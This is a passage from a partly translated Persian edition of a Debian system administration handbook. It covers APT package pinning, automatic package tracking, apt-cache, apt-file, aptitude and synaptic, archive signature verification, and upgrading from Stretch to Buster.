حتی اگر با ترکیب بسته‌ها از توزیع‌های مختلف مشکلی بوجود بیاید، apt این همزیستی را بخوبی مدیریت کرده و خطرات احتمالی را پوشش می‌دهد. بهترین شیوه عملکرد در این حالت، فهرست کردن تمام توزیع‌ها موجود در /etc/apt/sources.list است (برخی افراد تنها از سه توزیع استفاده می‌کنند، اما بدانید که Unstable برای کاربران باتجربه‌تر در نظر گرفته شده است) و برای اشاره به توزیع اصلی می‌توان از پارامتر APT::Default-Release استفاده کرد ( قسمت 6.2.3, “بروزرسانی سیستم” را مشاهده کنید).

فرض کنیم که Stable توزیع اصلی شما باشد، اما هر دو توزیع Testing و Unstable نیز در فایل sources.list فهرست شده‌اند. در این مورد، برای نصب بسته‌ای از توزیع Testing می‌توانید از دستور apt install package/testing استفاده کنید. اگر عملیات نصب با توجه به برطرف نشدن برخی وابستگی‌ها متوقف شود، با اضافه کردن پارامتر -t testing می‌توان به حل این مشکل در توزیع Testing پرداخت. این شیوه در رابطه با Unstable نیز صدق می‌کند.

در این وضعیت، عملیات بروزرسانی (upgrade و full-upgrade) توسط توزیع Stable صورت می‌پذیرند به جز بسته‌هایی که به سایر توزیع‌ها بروزرسانی گردیده‌اند: آن‌ها عملیات بروزرسانی توزیع خود را پیگیری می‌کنند. ما به شرح این رفتار با توجه به اولویت‌های پیش‌فرض APT در ادامه خواهیم پرداخت. می‌توانید با استفاده از دستور apt-cache policy اولویت‌های موجود در سیستم را بررسی و تایید کنید (قسمت نکته apt-cache policy را مشاهده کنید).

همه چیز حول این محور می‌چرخد که APT تنها بسته‌هایی را در نظر می‌گیرد که نسخه برابر یا بالاتر از آنچه در سیستم موجود می‌باشد را دارا باشند (با فرض اینکه در فایل /etc/apt/preferences اولویت بالاتر از ۱۰۰۰ برای هیچ بسته‌ای در نظر گرفته نشده است).

فرض کنیم شما نسخه ۱ از بسته‌ موجود در Stable را نصب کرده‌اید و نسخه‌های ۲ و ۳ همان بسته در Testing و Unstable قرار دارند. نسخه نصب شده اولویت ۱۰۰ دارد اما همان نسخه موجود در Stable اولویت ۹۹۰ دارد (چرا که بخشی از توزیع هدف است). بسته‌های موجود در Testing و Unstable اولویت ۵۰۰ دارند (اولویت پیش‌فرض برای بسته‌های نصب نشده). برنده نسخه اول با اولویت ۹۹۰ است که در Stable قرار دارد.

Let's take the example of another package whose version 2 has been installed from Testing. Version 1 is available in Stable and version 3 in Unstable. Version 1 (of priority 990 — thus lower than 1000) is discarded because it is lower than the installed version. This only leaves version 2 and 3, both of priority 500. Faced with this alternative, APT selects the newest version, the one from Unstable. If you don't want a package installed from Testing to migrate to Unstable, you have to assign a priority lower than 500 (490 for example) to packages coming from Unstable. You can modify /etc/apt/preferences to this effect:

Package: * Pin: release a=unstable Pin-Priority: 490

6.2.7. ردیابی خودکار بسته‌های نصب شده

One of the essential functionalities of apt is the tracking of packages installed only through dependencies. These packages are called “automatic”, and often include libraries.

With this information, when packages are removed, the package managers can compute a list of automatic packages that are no longer needed (because there is no “manually installed” packages depending on them). apt-get autoremove or apt autoremove will get rid of those packages. aptitude does not have this command because it removes them automatically as soon as they are identified. In all cases, the tools display a clear message listing the affected packages.

عادت خوبی است بسته‌هایی را که به صورت مستقیم با آن‌ها کار نداریم نشانه‌گذاری کنیم تا در زمان عدم نیاز به آن‌ها به سرعت قابل شناسایی باشند. apt-mark auto package بسته مورد نظر را برچسب خودکار می‌زند در صورتی که apt-mark manual package عمل مخالف آن را انجام می‌دهد. aptitude markauto و aptitude unmarkauto نیز به همین شیوه کار می‌کنند با این تفاوت که می‌توان چندین بسته را نشانه‌گذاری کرد. ( قسمت 6.5.1, “aptitude” را مشاهده کنید). رابط تعاملی مبتنی بر کنسول aptitude این امکان را می‌دهد که “پرچم خودکار” موجود در بسته‌ها را به راحتی بررسی کرد.

شاید بخواهید بدانید که چرا بسته‌ای که برچسب خودکار خورده هنوز در سیستم موجود است. برای دستیابی به این اطلاعات از طریق خط فرمان، می‌توانید از aptitude why package استفاده کنید (apt و (apt-get چنین قابلیت مشابهی ندارند):

$ aptitude why python-debian i aptitude Suggests apt-xapian-index p apt-xapian-index Depends python-debian (>= 0.1.14)

گزینه‌های جایگزین deborphan و debfoster

In days where apt, apt-get and aptitude were not able to track automatic packages, there were two utilities producing lists of unnecessary packages: deborphan and debfoster. Both can still be useful.

deborphan scans the libs and oldlibs sections (in the absence of supplementary instructions) by default looking for the packages that are currently installed and that no other package depends on. The resulting list can then serve as a basis to remove unneeded packages.

debfoster اما رویکرد متفاوتی به قضیه دارد، که بی‌شباهت به APT نیست: ابتدا فهرستی از بسته‌ها که به صورت ضمنی نصب شده‌اند را بدست می‌آورد، و در هر فراخوانی بیاد می‌سپارد که کدام بسته‌ها ارجاع داده می‌شوند. اگر بسته‌های جدید در سیستم ظاهر شوند و اگر debfoster آن‌ها را به عنوان بسته‌های مورد نیاز نشناسد، آن‌ها بر روی صفحه نمایش به همراه فهرستی از وابستگی‌هایشان نمایش داده می‌شوند. برنامه آنگاه انتخابی را پیشنهاد می‌دهد: حذف بسته (همراه با وابستگی‌هایش)، نشانه‌گذاری به عنوان بسته مورد نیاز یا در نظر نگرفتن به صورت موقتی.

6.3. دستور apt-cache

دستور apt-cache می‌تواند تمام اطلاعات ذخیره شده در پایگاه‌داده داخلی APT را نمایش دهد. این اطلاعات مجموعه‌ای از فایل‌های بدست آمده از منابع مختلف در فایل sources.list که به صورت cache ذخیره می‌شوند. این عملیات هنگام اجرای apt update صورت می‌پذیرد.

واژگان Cache

حافظه نهان، یک سیستم ذخیره‌سازی موقت به منظور افزایش سرعت دسترسی به داده است زمانی که شیوه معمول در دستیابی به داده هزینه‌بر باشد (از لحاظ عملکرد سیستم). این مفهوم می‌تواند در شرایط گوناگون و مقیاس‌های متفاوت مورد استفاده قرار گیرد، از هسته ریزپردازنده‌ها گرفته تا سیستم‌های ذخیره‌سازی با قابلیت بالا.

در مورد APT، فایل Packages اصلی روی سرورهای دبیان قرار دارد. با توجه به این موضوع، هنگامی که به دنبال بسته‌ای هستیم بسیار غیرموثر است که برای هر درخواست شبکه به سراغ این فایل در سرور اصلی برویم. به همین دلیل است که APT نسخه‌ای از این فایل را در مسیر /var/lib/apt/lists/ نگهداری می‌کند و عملیات جستجو با توجه به این فایل محلی صورت می‌گیرد. به صورت مشابه، /var/cache/apt/archives/ شامل cache بسته‌های دانلود شده است تا در صورت نیاز به نصب مجدد آنان، نیازی به دانلود مجدد نباشد.

از طرف دیگر ، اجرای apt update برای به روزرسانی حافظه پنهان اجباری است. در غیر این صورت نتایج جستجوی بسته شما همیشه آخرین به‌روزرسانی‌های منتشر شده توسط آینه های دبیان را ندارد.

دستور apt-cache قادر به جستجو مبتنی بر کلمات کلیدی با استفاده از apt-cache search keyword است. همچنین قادر به نمایش فایل سرآیند مربوط به هر بسته با استفاده از apt-cache show package است. این دستور توضیحات مربوط به هر بسته، وابستگی‌های آن، نام نگهدارنده بسته و موارد دیگر را فراهم می‌آورد. نکته اینکه apt search، apt show، aptitude search و aptitude search به شیوه یکسانی عمل می‌کنند.

گزینه‌های جایگزین axi-cache

apt-cache search ابزاری بسیار ابتدایی است، که در حقیقیت grep را برای توضیحات مربوط به بسته‌ها پیاده‌سازی کرده است. زمانی که کلیدواژه‌های بسیاری در اختیارش بگذارید، ممکن است نتایج زیاد یا هیچ نتیجه‌ای برگرداند.

axi-cache search term, on the other hand, provides better results, sorted by relevancy. It uses the Xapian search engine and is part of the apt-xapian-index package which indexes all package information (and more, like the .desktop files from all Debian packages). It knows about tags (see sidebar مطالعه بیشتر فیلد Tag) and returns results in a matter of milliseconds.

$ axi-cache search package use::searching 100 results found. Results 1-20: 100% packagesearch - GUI for searching packages and viewing package information 99% apt-utils - package management related utility programs 98% whohas - query multiple distributions' package archives 98% dpkg-awk - Gawk script to parse /var/lib/dpkg/{status,available} and Packages 97% apt-file - search for files within Debian packages (command-line interface) [..] 90% wajig - unified package management front-end for Debian More terms: debtags debian paket dpkg search pakete tools More tags: role::program interface::commandline works-with::software:package suite::debian admin::package-management scope::utility network::client `axi-cache more' will give more results

برخی ویژگی‌ها کمتر مورد استفاده قرار می‌گیرند. برای نمونه، apt-cache policy اولویت مربوط به منابع بسته‌ها و آن‌هایی که نصب شده است را نشان می‌دهد. نمونه دیگر apt-cache dumpavail است که فایل سرآیند مربوط به تمام نسخه‌های یک بسته را نمایش می‌دهد. apt-cache pkgnames نیز تمام بسته‌هایی که حداقل یک مرتبه در cache ذخیره شده‌اند را نمایش می‌دهد.

نکته apt-cache policy

The apt-cache policy command displays the pinning priorities and distribution properties of each package source as explained in قسمت 6.2.5, “مدیریت اولویت بسته‌ها” . It can also show the pinning priorities for all available versions and sources of a package. For the sources.list example used in مثال 6.2, “فایل /etc/apt/sources.list برای کاربران نسخه پایدار دبیان” and APT::Default-Release set to "buster", the output will look like this:

$ apt-cache policy Package files: 100 /var/lib/dpkg/status release a=now 100 https://deb.debian.org/debian buster-backports/contrib amd64 Packages release o=Debian Backports,a=buster-backports,n=buster-backports,l=Debian Backports,c=contrib,b=amd64 origin deb.debian.org 100 https://deb.debian.org/debian buster-backports/main amd64 Packages release o=Debian Backports,a=buster-backports,n=buster-backports,l=Debian Backports,c=main,b=amd64 origin deb.debian.org 990 https://deb.debian.org/debian buster/non-free amd64 Packages release v=10.0,o=Debian,a=stable,n=buster,l=Debian,c=non-free,b=amd64 origin deb.debian.org 990 https://deb.debian.org/debian buster/contrib amd64 Packages release v=10.0,o=Debian,a=stable,n=buster,l=Debian,c=contrib,b=amd64 origin deb.debian.org 990 https://deb.debian.org/debian buster/main amd64 Packages release v=10.0,o=Debian,a=stable,n=buster,l=Debian,c=main,b=amd64 origin deb.debian.org 990 http://security.debian.org buster/updates/main amd64 Packages release v=10,o=Debian,a=stable,n=buster,l=Debian-Security,c=main,b=amd64 origin security.debian.org

apt-cache policy can also show the pinning priorities for all available versions and sources of a given package.

$ apt-cache policy iptables iptables: Installed: 1.8.2-4 Candidate: 1.8.2-4 Version table: 1.8.3-2~bpo10+1 100 100 https://deb.debian.org/debian buster-backports/main amd64 Packages *** 1.8.2-4 990 990 https://deb.debian.org/debian buster/main amd64 Packages 100 /var/lib/dpkg/status

Although there is a newer version of iptables in the buster-backports repository, APT will not install it automatically based on the priority. One would have to use apt install iptables/buster-backports or add a higher pinning priority to /etc/apt/preferences.d/iptables:

Package: iptables Pin: release o=Debian Backports, a=buster-backports Pin-Priority: 1001

6.4. The apt-file Command

Sometimes we refer to a file or a command and you might wonder, in which package it will be found. Fortunately the Debian repositories not only contain information about all the binary packages provided, but also all the files shipped with them. This information is stored in files named Contents-arch.gz and Contents-udeb-arch.gz. This information is not automatically downloaded by APT. Instead it needs the apt-file update command (from the similar named package) to retrieve the contents of all package sources mentioned in /etc/apt/sources.list. To update the database on a weekly base, the following entry can be added to /etc/crontab if convenient.

@weekly root test -x /usr/bin/apt-file && /usr/bin/apt-file update >> /dev/null 2>&1

After the database has been updated, the command apt-file search pattern will list all packages, which contain a filename or path containing the pattern.

$ apt-file search bin/axi-cache apt-xapian-index: /usr/bin/axi-cache

The command apt-file list package will list all files shipped with the package instead.

TIP Listing a package contents and finding a file's package

Similar to apt-file list the command dpkg -L package lists all files, but only for an installed package. To find the package, a local file belongs to, use dpkg -S file (see قسمت 5.4.3, “فراخوانی پایگاه‌داده dpkg و جستجوی فایل‌های .deb” ). To list all local files not belonging to any installed package, you might want to take a look at the cruft or the cruft-ng package.

6.5. رابط‌های کاربری: aptitude و synaptic

APT is a C++ program whose code mainly resides in the libapt-pkg shared library. Using a shared library facilitates the creation of user interfaces (front-ends), since the code contained in the library can easily be reused. Historically, apt-get was only designed as a test front-end for libapt-pkg but its success tends to obscure this fact.

6.5.1. aptitude

aptitude is an interactive program that can be used in semi-graphical mode on the console. You can browse the list of installed and available packages, look up all the available information, and select packages to install or remove. The program is designed specifically to be used by administrators, so that its default behaviors are designed to be much more intelligent than apt-get's, and its interface much easier to understand.

شكل 6.1. مدیر بسته aptitude

When it starts, aptitude shows a list of packages sorted by state (installed, non-installed, or installed but not available on the mirrors — other sections display tasks, virtual packages, and new packages that appeared recently on mirrors). To facilitate thematic browsing, other views are available. In all cases, aptitude displays a list combining categories and packages on the screen. Categories are organized through a tree structure, whose branches can respectively be unfolded or closed with the Enter, [ and ] keys. + should be used to mark a package for installation, - to mark it for removal and _ to purge it (note that these keys can also be used for categories, in which case the corresponding actions will be applied to all the packages of the category). u updates the lists of available packages and Shift+u prepares a global system upgrade. g switches to a summary view of the requested changes (and typing g again will apply the changes), and q quits the current view. If you are in the initial view, this will effectively close aptitude.

مستندات aptitude

This section does not cover the finer details of using aptitude. It rather focuses on giving you a survival kit to use it. But it is well documented and we advise you to use its complete manual available in the aptitude-doc-en package (see /usr/share/doc/aptitude/html/en/index.html) or at https://www.debian.org/doc/manuals/aptitude/.

برای جستجوی یک بسته می‌توانید کلید / را فشار دهید و عبارت مورد نظر را وارد کنید. این الگو نام بسته را مد نظر قرار می‌دهد اما می‌تواند شامل توضیحات (اگر همراه با ~d باشد)، یا قسمت آن نیز شود (با ~s) یا به سایر ویژگی‌های موجود در مستندات. همان الگو می‌تواند برای فیلتر کردن بسته‌های نمایش داده شده نیز استفاده گردد: کلید l را فشار دهید (مانند limit) و الگو را وارد کنید.

مدیریت “automatic flag” بسته‌های دبیان ( قسمت 6.2.7, “ردیابی خودکار بسته‌های نصب شده” را مشاهده کنید) در aptitude کار بسیار ساده‌ای است. با مرور بسته‌های نصب شده این امکان وجود دارد که آن‌ها را با استفاده از Shift+m به عنوان بسته خودکار نشانه‌گذاری کرده یا با کلید m این نشانه‌گذاری را حذف کنیم. “بسته‌های خودکار” با حرف “A” نمایش داده می‌شوند. این قابلیت، همچنین روشی ساده را برای بسته‌های نصب شده روی ماشین در نظر می‌گیرد، بدون تمام کتابخانه‌ها و وابستگی‌هایی که به آن‌ها اهمیت نمی‌دهید. الگوی مرتبطی که قبل از این با استفاده از l ممکن بود حال با ترکیب ~i!~M وجود دارد. معنی آن این است که می‌خواهید بسته‌های نصب‌شده‌ای (~i) را ببینید که به عنوان بسته خودکار نشانه‌گذاری نشده‌اند (!~M).

ابزار استفاده از aptitude در رابط خط-فرمان

اکثر ویژگی‌های aptitude از طریق خط-فرمان نیز قابل دسترسی هستند. این مجموعه دستورات برای کاربران apt-get و apt-cache آشنا به نظر می‌رسند.

ویژگی‌های پیشرفته aptitude نیز از طریق خط-فرمان قابل دسترسی هستند. می‌توانید از همان الگوی جستجو بسته در نسخه تعاملی برنامه استفاده کنید. برای نمونه، اگر می‌خواهید فهرست “بسته‌های نصب‌شده محلی” را پاکسازی کنید و می‌دانید که هیچ کدام از این بسته‌های نصب شده محلی وابستگی خاصی به کتابخانه‌ها یا Perl نداشته، می‌توانید تمام این بسته‌ها را با یک دستور به عنوان بسته خودکار نشانه‌گذاری کنید:

# aptitude markauto '~slibs|~sperl'

در اینجا می‌توانید به قدرت الگوی جستجو در سیستم aptitude پی ببرید، که به انتخاب سریع تمام بسته‌های موجود در قسمت‌های libs و perl می‌پردازد.

آگاه باشید، اگر برخی بسته‌ها به عنوان خودکار برچسب خورده باشند و هیچ بسته دیگری به آن‌ها وابسته نباشد، بلافاصله از سیستم حذف می‌گردند (پس از درخواست تایید).

6.5.1.1. مدیریت توصیه‌ها، پیشنهادها و وظایف

Another interesting feature of aptitude is the fact that it respects recommendations between packages while still giving users the choice not to install them on a case by case basis. For example, the gnome package recommends transmission-gtk (among others). When you select the former for installation, the latter will also be selected (and marked as automatic if not already installed on the system). Typing g will make it obvious: transmission-gtk appears on the summary screen of pending actions in the list of packages installed automatically to satisfy dependencies. However, you can decide not to install it by deselecting it before confirming the operations.

نکته اینکه قابلیت ردیابی این توصیه‌ها برای عملیات بروزرسانی موجود نیست. برای نمونه، اگر نسخه جدیدی از gnome بسته‌ای را توصیه کند که قبل از این توصیه نشده بود، بسته برای نصب نشانه‌گذاری نخواهد شد. اگرچه، در صفحه بروزرسانی نمایش داده می‌شود تا مدیرسیستم بتواند آن را نصب کند.

Suggestions between packages are also taken into account, but in a manner adapted to their specific status. For example, since gnome suggests empathy, the latter will be displayed on the summary screen of pending actions (in the section of packages suggested by other packages). This way, it is visible and the administrator can decide whether to take the suggestion into account or not. Since it is only a suggestion and not a dependency or a recommendation, the package will not be selected automatically — its selection requires a manual intervention from the user (thus, the package will not be marked as automatic).

به شیوه مشابه، به یاد دارید که aptitude از مفهوم وظیفه استفاده هوشمندانه‌ای می‌کند. از آنجایی که وظایف به صورت طبقه‌بندی شده در صفحه بسته‌های موجود نمایش می‌یابند، می‌توانید یک وظیفه کامل را برای نصب یا خذف علامت‌گذاری کرده یا فهرستی از بسته‌های مشخص در یک طبقه‌بندی را انتخاب کنید.

6.5.1.2. الگوریتم‌های بهتر

برای نتیجه‌گیری در این قسمت، یادآوری می‌کنیم که aptitude در مقایسه با apt-get از الگوریتم‌های بهتری برای حل مشکل در شرایط دشوار بهره می‌برد. زمانی که مجموعه دستوراتی انتخاب می‌شوند و این دستورات به ناپایدار شدن سیستم منجر می‌گردند، aptitude سناریوهای مختلفی را در نظر گرفته و آن‌ها را به ترتیب اولویت ارتباط، نمایش می‌دهد. اگرچه، این الگوریتم‌ها هیچگاه کامل نیستند. خوشبختانه این امکان وجود دارد که عملیات مورد نیاز را به صورت دستی فراخوانی کرد. زمانی که این عملیات دستی دچار مشکل گردند، قسمت بالایی صفحه تعدادی از بسته‌های “broken” را نمایش می‌دهد (که می‌توانید با فشار دادن کلید b آن‌ها را مشاهده کنید). در اینجا امکان ایجاد راه حل به صورت دستی برای این بسته‌ها وجود دارد. به طور مشخص، می‌توانید با فشردن کلید Enter بین نسخه‌های مختلف از آن بسته حرکت کنید. اگر انتخاب یکی از این نسخه‌ها مشکل را حل کرد، نباید از آن چشم‌پوشی کنید. زمانی که تعداد بسته‌های “broken” به صفر رسیدند، می‌توانید به صفحه خلاصه وضعیت رفته و عملیات را از سر گیرید.

یادآوری ثبت عملیات aptitude

مانند dpkg، aptitude نیز کلیه عملیات انجام گرفته را در فایل لاگ (/var/log/aptitude) خود ذخیره می‌کند. اگرچه، چون دو دستور به شیوه‌های مختلفی عمل می‌کنند نباید انتظار نتایج یکسان در فایل‌های لاگ را داشته باشید. dpkg تمام عملیات اجرا شده روی بسته را گام به گام ثبت می‌کند در صورتی که aptitude دید کلی‌تری از سیستم در این رابطه ارائه می‌دهد مانند بروزرسانی کل سیستم.

آگاه باشید، که این فایل‌لاگ تنها خلاصه‌ای از عملیات اجرا شده توسط aptitude را ذخیره می‌کند. اگر سایر رابط‌های کاربری (یا حتی خود dpkg) مورد استفاده قرار گیرند، آنگاه لاگ aptitude تنها به خلاصه‌ای از این عملیات اشاره می‌کند، پس نمی‌توانید روی آن برای دسترسی به تاریخچه کلی در سیستم اعتماد کنید.

6.5.2. synaptic

synaptic یک مدیر بسته گرافیکی برای دبیان است که بر اساس رابط گرافیکی +GTK طراحی شده است. تمام فیلترهای مورد استفاده در آن، امکان دسترسی سریع به بسته‌های موجود، نصب‌شده، قابل بروزرسانی، منسوخ‌شده و سایر گزینه‌ها را به کاربر می‌دهد. اگر در میان این فهرست‌ها جستجو کنید، می‌توانید عملیات مربوط به هر بسته را انتخاب کرده (نصب، بروزرسانی، حذف و حذف کامل)؛ این عملیات اما بلافاصله صورت نمی‌پذیرند، اما در یک فهرست وظیفه قرار می‌گیرند. تنها با یک کلیک می‌توان عملیات مورد نظر را تایید و انجام داد.

شكل 6.2. مدیر بسته synaptic

6.6. بررسی صحت بسته‌ها

امنیت برای مدیرسیستم‌های شرکت فالکات اهمیت بسیاری دارد. به همین دلیل، آن‌ها باید اطمینان حاصل کنند که بسته‌های دریافتی از سرورهای دبیان در میان راه تغییر نمی‌کنند. یک خرابکار رایانه‌ای می‌تواند با قرار دادن کد مخرب در این بسته‌ها اعتبارشان را از بین ببرد. چنین بسته‌ای، در صورت نصب، آنطور که خرابکار طراحی‌اش کرده باشد کار می‌کند، برای نمونه درج گذرواژه‌ها یا اطلاعات حساس کاربر. برای دوری از این خطرات، دبیان از یک مهر و موم خاص -- در زمان نصب -- استفاده می‌کند که اطمینان می‌دهد بسته از منبع رسمی آن آمده و در میانه راه تغییر نکرده است.

The seal works with a chain of cryptographical hashes and a signature and is explained in detail in apt-secure(8). Starting with Debian 10 Buster the signed file is the InRelease file, provided by the Debian mirrors. There is also a legacy file called Release. Both contain a list of the Packages files (including their compressed forms, Packages.gz and Packages.xz, and the incremental versions), along with their SHA256 hashes, which ensures that the files haven't been tampered with. These Packages files contain a list of the Debian packages available on the mirror, along with their hashes, which ensures in turn that the contents of the packages themselves haven't been altered either. The difference between InRelease and Release is that the former is cryptographically signed in-line, whereas the latter provides a detached signature in the form of the file Release.gpg.

NOTE The future of Release and Release.gpg

Probably with the release of Debian 11 Bullseye APT will remove support for the legacy files Release and Release.gpg, used since APT 0.6, which introduced support for an archive authentication.

APT needs a set of trusted GnuPG public keys to verify signatures in the InRelease and Release.gpg files available on the mirrors. It gets them from files in /etc/apt/trusted.gpg.d/ and from the /etc/apt/trusted.gpg keyring (managed by the apt-key command). The official Debian keys are provided and kept up-to-date by the debian-archive-keyring package which puts them in /etc/apt/trusted.gpg.d/. Note, however, that the first installation of this particular package requires caution: even if the package is signed like any other, the signature cannot be verified externally. Cautious administrators should therefore check the fingerprints of imported keys before trusting them to install new packages:

# apt-key fingerprint /etc/apt/trusted.gpg.d/debian-archive-buster-automatic.gpg ---------------------------------------------------------- pub rsa4096 2019-04-14 [SC] [expires: 2027-04-12] 80D1 5823 B7FD 1561 F9F7 BCDD DC30 D7C2 3CBB ABEE uid [ unknown] Debian Archive Automatic Signing Key (10/buster) <ftpmaster@debian.org> sub rsa4096 2019-04-14 [S] [expires: 2027-04-12] /etc/apt/trusted.gpg.d/debian-archive-buster-security-automatic.gpg ------------------------------------------------------------------- pub rsa4096 2019-04-14 [SC] [expires: 2027-04-12] 5E61 B217 265D A980 7A23 C5FF 4DFA B270 CAA9 6DFA uid [ unknown] Debian Security Archive Automatic Signing Key (10/buster) <ftpmaster@debian.org> sub rsa4096 2019-04-14 [S] [expires: 2027-04-12] /etc/apt/trusted.gpg.d/debian-archive-buster-stable.gpg ------------------------------------------------------- pub rsa4096 2019-02-05 [SC] [expires: 2027-02-03] 6D33 866E DD8F FA41 C014 3AED DCC9 EFBF 77E1 1517 uid [ unknown] Debian Stable Release Key (10/buster) <debian-release@lists.debian.org> /etc/apt/trusted.gpg.d/debian-archive-jessie-automatic.gpg ---------------------------------------------------------- pub rsa4096 2014-11-21 [SC] [expires: 2022-11-19] 126C 0D24 BD8A 2942 CC7D F8AC 7638 D044 2B90 D010 uid [ unknown] Debian Archive Automatic Signing Key (8/jessie) <ftpmaster@debian.org> /etc/apt/trusted.gpg.d/debian-archive-jessie-security-automatic.gpg ------------------------------------------------------------------- pub rsa4096 2014-11-21 [SC] [expires: 2022-11-19] D211 6914 1CEC D440 F2EB 8DDA 9D6D 8F6B C857 C906 uid [ unknown] Debian Security Archive Automatic Signing Key (8/jessie) <ftpmaster@debian.org> /etc/apt/trusted.gpg.d/debian-archive-jessie-stable.gpg ------------------------------------------------------- pub rsa4096 2013-08-17 [SC] [expires: 2021-08-15] 75DD C3C4 A499 F1A1 8CB5 F3C8 CBF8 D6FD 518E 17E1 uid [ unknown] Jessie Stable Release Key <debian-release@lists.debian.org> /etc/apt/trusted.gpg.d/debian-archive-stretch-automatic.gpg ----------------------------------------------------------- pub rsa4096 2017-05-22 [SC] [expires: 2025-05-20] E1CF 20DD FFE4 B89E 8026 58F1 E0B1 1894 F66A EC98 uid [ unknown] Debian Archive Automatic Signing Key (9/stretch) <ftpmaster@debian.org> sub rsa4096 2017-05-22 [S] [expires: 2025-05-20] /etc/apt/trusted.gpg.d/debian-archive-stretch-security-automatic.gpg -------------------------------------------------------------------- pub rsa4096 2017-05-22 [SC] [expires: 2025-05-20] 6ED6 F5CB 5FA6 FB2F 460A E88E EDA0 D238 8AE2 2BA9 uid [ unknown] Debian Security Archive Automatic Signing Key (9/stretch) <ftpmaster@debian.org> sub rsa4096 2017-05-22 [S] [expires: 2025-05-20] /etc/apt/trusted.gpg.d/debian-archive-stretch-stable.gpg -------------------------------------------------------- pub rsa4096 2017-05-20 [SC] [expires: 2025-05-18] 067E 3C45 6BAE 240A CEE8 8F6F EF0F 382A 1A7B 6500 uid [ unknown] Debian Stable Release Key (9/stretch) <debian-release@lists.debian.org>

در عمل افزودن کلیدهای مورد اعتماد

زمانی که منبع یک بسته ثالث به فایل sources.list اضافه می‌شود، APT نیاز دارد که کلید اعتبارسنجی GPG آن را بداند (در غیر اینصورت مدام در ارتباط با عدم اعتبار بسته‌های موجود در این مخزن گلایه می‌کند). اولین گام البته که دریافت کلید عمومی است. این کلید معمولا به صورت یک فایل متنی کوچک ارائه می‌شود که در مثال زیر آن را key.asc می‌نامیم.

To add the key to the trusted keyring, the administrator can just put it in a *.asc file in /etc/apt/trusted.gpg.d/. This is supported since Debian Stretch. With older releases, you had to run apt-key add < key.asc.

زمانی که کلیدهای مناسب در جای خود قرار گیرند، APT قبل از هر عملیاتی به بررسی امضای آن‌ها می‌پردازد، به این منظور که رابط‌های کاربری هنگامی نصب یک بسته غیر قابل اعتماد، هشدار مربوطه را نمایش دهند.

6.7. بروزرسانی کلی از یک توزیع پایدار به دیگری

یکی از بهترین ویژگی‌های دبیان قابلیت بروزرسانی کلی آن از یک توزیع پایدار به انتشار بعدی است: dist-upgrade -- عبارتی با معنا -- اعتبار زیادی را برای این پروژه به ارمغان آورده است. با رعایت برخی پیش‌زمینه‌ها، بروزرسانی یک رایانه تنها چند دقیقه زمان نمی‌برد که آن نیز بسته به سرعت دانلود بسته‌ها از اینترنت متفاوت است.

6.7.1. فرآیند توصیه‌شده

از آنجایی که زمان نسبتا زیادی بین دو نسخه پایدار دبیان فاصله می‌افتد، قبل از بروزرسانی کلی باید یادداشت انتشار آن را مطالعه کنید.

بازگشت به مقدمات یادداشت انتشار

یادداشت انتشار برای یک سیستم عامل (یا هر نرم‌افزار دیگری) شامل سندی است که در آن به توضیح کلی راجع به نرم‌افزار پرداخته می‌شود، همراه با جزئیاتی که بین نسخه‌های مختلف تفاوت دارند. این اسناد در مقایسه با مستندات رسمی بسیار کوتاه‌تر هستند و معمولا شامل قابلیت‌هایی می‌باشند که از نسخه پیشین به نرم‌افزار افزوده شده است. همچنین در رابطه با فرآیند بروزرسانی، اخطار به کاربران نسخه‌های پیشین و برخی اصلاحات احتمالی نیز جزئیاتی را شامل می‌شوند.

Release notes are available online: the release notes for the current stable release have a dedicated URL, while older release notes can be found with their codenames:

→ https://www.debian.org/releases/stable/releasenotes

→ https://www.debian.org/releases/stretch/releasenotes

In this section, we will focus on upgrading a Stretch system to Buster. This is a major operation on a system; as such, it is never 100% risk-free, and should not be attempted before all important data has been backed up.

عادت خوبی که هنگام بروزرسانی کلی باعث آسان‌تر شدن (و کوتاه‌تر شدن) آن می‌گردد محدود کردن بسته‌های مورد نیاز به حداقل تعداد ممکن است. ابزار کاربردی که به این امر کمک می‌کنند عبارتند از aptitude، deborphan و debfoster ( قسمت 6.2.7, “ردیابی خودکار بسته‌های نصب شده” را مشاهده کنید). برای نمونه، می‌توانید از دستور زیر استفاده کرده سپس در حالت تعاملی aptitude زمان‌بندی حذف بسته‌ها را مدیریت کنید:

# deborphan | xargs aptitude --schedule-only remove

TIP Finding changed files

The debsums command can check if files on the local system, which are part of an installed package, have been altered. It uses a simple hashsum algorithm and the information in /var/lib/dpkg/info/package.md5sums (see قسمت 5.2.3, “Checksums، فهرستی از فایل‌های پیکربندی” ). To find all altered configuration files use debsums -ec. To check the whole system, use debsums -c.

Now for the upgrading itself. First, you need to change the /etc/apt/sources.list file to tell APT to get its packages from Buster instead of Stretch. If the file only contains references to Stable rather than explicit codenames, the change isn't even required, since Stable always refers to the latest released version of Debian. In both cases, the database of available packages must be refreshed (with the apt update command or the refresh button in synaptic).

NOTE Repository information changes

When a new stable version of Debian is released, some fields in the Release and InRelease files of a repository change, like the Suite field. When this happens, downloading data from the repository is declined until the change is confirmed to ensure the user is prepared for it. To confirm the change use the --allow-releaseinfo-change or --allow-releaseinfo-change-field options for apt-get or the Acquire::AllowReleaseInfoChange configuration option.

زمانی که این منابع بسته‌ها ثبت شدند، ابتدا باید یک بروزرسانی جزئی با استفاده از apt upgrade انجام دهید. با انجام فرآیند بروزسانی کلی در دو مرحله، کار ابزار مدیریت بسته را راحت‌تر می‌سازیم تا تمام بسته‌ها به آخرین نسخه پایدار خود بروزرسانی گردیده و از بهینه‌سازی‌های لازم بهره‌مند گردند.

Once this first upgrade is done, it is time to handle the upgrade itself, either with apt full-upgrade, aptitude, or synaptic. You should carefully check the suggested actions before applying them: you might want to add suggested packages or deselect packages which are only recommended and known not to be useful. In any case, the front-end should come up with a scenario ending in a coherent and up-to-date Buster system. Then, all you need is to do is wait while the required packages are downloaded, answer the debconf questions and possibly those about locally modified configuration files, and sit back while APT does its magic.

6.7.2. بررسی مشکلات پس از بروزرسانی کلی

با تمام تلاش‌های صورت گرفته، یک بروزرسانی کلی ممکن است همیشه خوب پیش نرود. نسخه‌های جدید نرم‌افزار ممکن است با نسخه‌های پیشین ناسازگار باشند (برای نمونه، رفتار پیش‌فرض آن‌ها یا قالب داده‌یشان ممکن است تغییر کند). برخی باگ‌ها ممکن است از دید فرآیند تست که همیشه قبل از انتشار دبیان صورت می‌گیرد، مخفی مانده باشند.

